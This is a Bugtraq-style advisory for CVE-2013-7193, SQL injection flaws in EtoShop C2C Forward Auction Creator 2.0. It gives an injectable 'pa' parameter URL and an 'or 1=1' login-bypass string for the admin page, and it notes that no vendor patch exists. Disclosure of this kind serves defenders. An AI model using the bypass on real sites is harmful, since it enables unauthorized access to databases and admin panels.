EtoShop C2C Forward Auction Creator Multiple SQL Injection Vulnerabilities

Bugtraq ID:	64329
Class:	Input Validation Error
CVE:	CVE-2013-7193
Remote:	Yes
Local:	No
Published:	Dec 16 2013 12:00AM
Updated:	Dec 25 2013 12:20AM
Credit:	R3d-D3v!L
Vulnerable:	EtoShop C2C Forward Auction Creator 2.0
Not Vulnerable:

EtoShop C2C Forward Auction Creator Multiple SQL Injection Vulnerabilities

EtoShop C2C Forward Auction Creator is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.

EtoShop C2C Forward Auction Creator 2.0; other version may also be vulnerable.

EtoShop C2C Forward Auction Creator Multiple SQL Injection Vulnerabilities

An attacker can exploit this issue using a web browser.

http://www.example.com/C2CForwardAuction/auction/asp/list.asp?pa=[SQL INJECTION]

www.example.com/demo/C2CForwardAuction/auction/casp/admin.asp

UserID : x' or ' 1=1--
Password : x' or ' 1=1--

EtoShop C2C Forward Auction Creator Multiple SQL Injection Vulnerabilities

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]

EtoShop C2C Forward Auction Creator Multiple SQL Injection Vulnerabilities

References: